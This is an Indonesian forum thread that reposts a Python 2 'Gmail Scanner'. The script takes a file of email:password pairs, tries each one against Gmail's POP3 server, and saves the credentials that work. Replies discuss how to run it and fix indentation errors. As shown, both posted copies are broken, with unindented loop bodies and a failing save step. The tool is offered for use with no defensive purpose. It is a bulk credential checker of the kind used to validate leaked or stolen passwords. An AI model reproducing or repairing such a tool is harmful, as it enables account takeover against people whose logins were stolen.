GmailCheck.py
#1
Code:
#!/usr/bin/env python

# Gmail Scanner
# [email protected]
# Jangan Di Jual Lagi Yah ^^

import sys, poplib

def printHelp():
    print '\nUsage: ./gmailcheck.py <emaillist>'
    print 'Example: ./gmailcheck.py emails.txt'
    print '\nNote: The accounts must be in the following format: [email protected]:password\n'


    print '''
\t||===\\ //==\\
\t|| || | |
\t|| || ||
\t||___// ||____
\t Scanner
\t [email protected]
    '''

if len(sys.argv) != 2:
    printHelp()
    exit(1)

#Change these if needed.
SAVEFILE = 'valid_accounts.txt'
HOST = 'pop.gmail.com'
PORT = 995

# Do not change anything below.
maillist = sys.argv[1]
valid = []
currline = 0

try:
    handle = open(maillist)
except:
    print '\n[-] Could not open the accounts file. Check the file path and try again.'
    print '\n[-] Quitting ...'
    exit(1)

for line in handle:
    currline += 1

try:
    email = line.split(':')[0]
    password = line.split(':')[1].replace('\n', '')
except:
    print '\n[-] Kesalahan format line %d.' % currline
    print '[!] Format Harus Seperti Ini : [email protected]:password'
    print '\n[-] Quitting ...'
    exit(1)

try:
    pop = poplib.POP3_SSL(HOST, PORT)
    pop.user(email)
    pop.pass_(password)
    valid.append(email + ':' + password)
    print '[+] Checking: %s <%s> -> Valid!' % (email, password)
    pop.quit()
except:
    print '[+] Checking: %s <%s> -> Invalid!' % (email, password)
    pass

handle.close()
print '\n[+] Total Valid: %s' % len(valid)

if len(valid) > 0:
    save = open(SAVEFILE, 'a')

for email in valid:
    save.write(email + '\n')

save.close()

print '[+] The valid accounts are saved in "%s".' % SAVEFILE

print '\n[+] Done.\n'

Sumber
Yang putih, yang seharusnya ber-aksi dan berbakat!
Linuxtivist blog

#2
ammpunn mbah ^Smile^
jelasin line by line nya mbah masih pengguna baru,,, HTML aja masih 80% @_@

#3
(08-21-2011, 08:32 PM)adam41 Wrote: ammpunn mbah ^Smile^
jelasin line by line nya mbah masih pengguna baru,,, HTML aja masih 80% @_@

wih ente enak om...
ane HTML aja gangerti..
cuma <head> <body> doang...

python ane cuma bisa make, trit ini aja ane cuma repost..

UndecidedUndecided
Yang putih, yang seharusnya ber-aksi dan berbakat!
Linuxtivist blog

#4
itu gmna ya cara pakainya ya bro... :p

#5
(08-21-2011, 09:03 PM)guitariznoize Wrote: itu gmna ya cara pakainya ya bro... :p

python GmailCheck.py / python namafile.py
atau
kalau sudah permissionnya as executable
./GmailCheck.py / ./namafile.py
Yang putih, yang seharusnya ber-aksi dan berbakat!
Linuxtivist blog

#6
bro ane dah coba tapi kok hasilnya gini:

Code:
root@bt:~/Programs# python Gmailcheck.py
  File "Gmailcheck.py", line 12
    print '\nUsage: ./gmailcheck.py <emaillist>'
        ^
IndentationError: expected an indented block

kira-kira knp ya?

#7
(08-22-2011, 01:59 AM)konspirasi Wrote: bro ane dah coba tapi kok hasilnya gini:

Code:
root@bt:~/Programs# python Gmailcheck.py
  File "Gmailcheck.py", line 12
    print '\nUsage: ./gmailcheck.py <emaillist>'
        ^
IndentationError: expected an indented block

kira-kira knp ya?

mau coba jawab yah om ! bukannya mau sog tau neh !!!
tapi kalo di python ada IndentationError berarti errornya berkaitan dengan bloknya gag pas ! coba di edit dikit scriptnya di tab atau ada spasi yang harus ditambahkan !!

ane coba edit dikit yahh ! cuma di tambahin tab n spasi dikit om !
Code:
#!/usr/bin/env python

# Gmail Scanner
# [email protected]
# Jangan Di Jual Lagi Yah ^^

import sys, poplib

def printHelp():
    print '\nUsage: ./gmailcheck.py <emaillist>'
    print 'Example: ./gmailcheck.py emails.txt'
    print '\nNote: The accounts must be in the following format: [email protected]:password\n'


    print '''
\t||===\\ //==\\
\t|| || | |
\t|| || ||
\t||___// ||____
\t Scanner
\t [email protected]
    '''

if len(sys.argv) != 2:
    printHelp()
    exit(1)

#Change these if needed.
SAVEFILE = 'valid_accounts.txt'
HOST = 'pop.gmail.com'
PORT = 995

# Do not change anything below.
maillist = sys.argv[1]
valid = []
currline = 0

try:
    handle = open(maillist)
except:
    print '\n[-] Could not open the accounts file. Check the file path and try again.'
    print '\n[-] Quitting ...'
    exit(1)

for line in handle:
    currline += 1

try:
    email = line.split(':')[0]
    password = line.split(':')[1].replace('\n', '')
except:
    print '\n[-] Kesalahan format line %d.' % currline
    print '[!] Format Harus Seperti Ini : [email protected]:password'
    print '\n[-] Quitting ...'
    exit(1)

try:
    pop = poplib.POP3_SSL(HOST, PORT)
    pop.user(email)
    pop.pass_(password)
    valid.append(email + ':' + password)
    print '[+] Checking: %s <%s> -> Valid!' % (email, password)
    pop.quit()
except:
    print '[+] Checking: %s <%s> -> Invalid!' % (email, password)
    pass

handle.close()
print '\n[+] Total Valid: %s' % len(valid)

if len(valid) > 0:
    save = open(SAVEFILE, 'a')

for email in valid:
    save.write(email + '\n')

save.close()

print '[+] The valid accounts are saved in "%s".' % SAVEFILE

print '\n[+] Done.\n'

#8
wah makasih byk bro, udah bisa nih Big Grin
berarti yg dibawah titik dua ( : ) itu harus di tab ya? kayak disamain spasinya gitu? hehe sry nubi nih Smile

trus skrg setelah ane coba ke gmail sndiri muncul error gini:

Quote:root@bt:~/Programs# ./Gmailcheck.py email.txt
[+] Checking: [email protected] <*disensor* :p> -> Invalid!

[+] Total Valid: 0
Traceback (most recent call last):
File "./Gmailcheck.py", line 78, in <module>
save.close()
NameError: name 'save' is not defined

itu apa karena ane pake dual otentifikasi ya? (yg dikirim pin lewat hp itu)

tq

#9
(08-22-2011, 02:30 AM)konspirasi Wrote: wah makasih byk bro, udah bisa nih Big Grin
berarti yg dibawah titik dua (Smile itu harus di tab ya? kayak disamain spasinya gitu? hehe sry nubi nih Smile

trus skrg setelah ane coba ke gmail sndiri muncul error gini:

Quote:root@bt:~/Programs# ./Gmailcheck.py email.txt
[+] Checking: [email protected] <*disensor* :p> -> Invalid!

[+] Total Valid: 0
Traceback (most recent call last):
File "./Gmailcheck.py", line 78, in <module>
save.close()
NameError: name 'save' is not defined

itu apa karena ane pake dual otentifikasi ya? (yg dikirim pin lewat hp itu)

tq

yap bener om dibawah titik dua mesti ditab dulu !!
kalo masalah autentikasi mungkin aja seh kayak gitu om !!!! Big Grin

EDIT: ane rapiin postnya ya bro Smile
konspirasi

#10
thx bro Big Grin






Users browsing this thread: 1 Guest(s)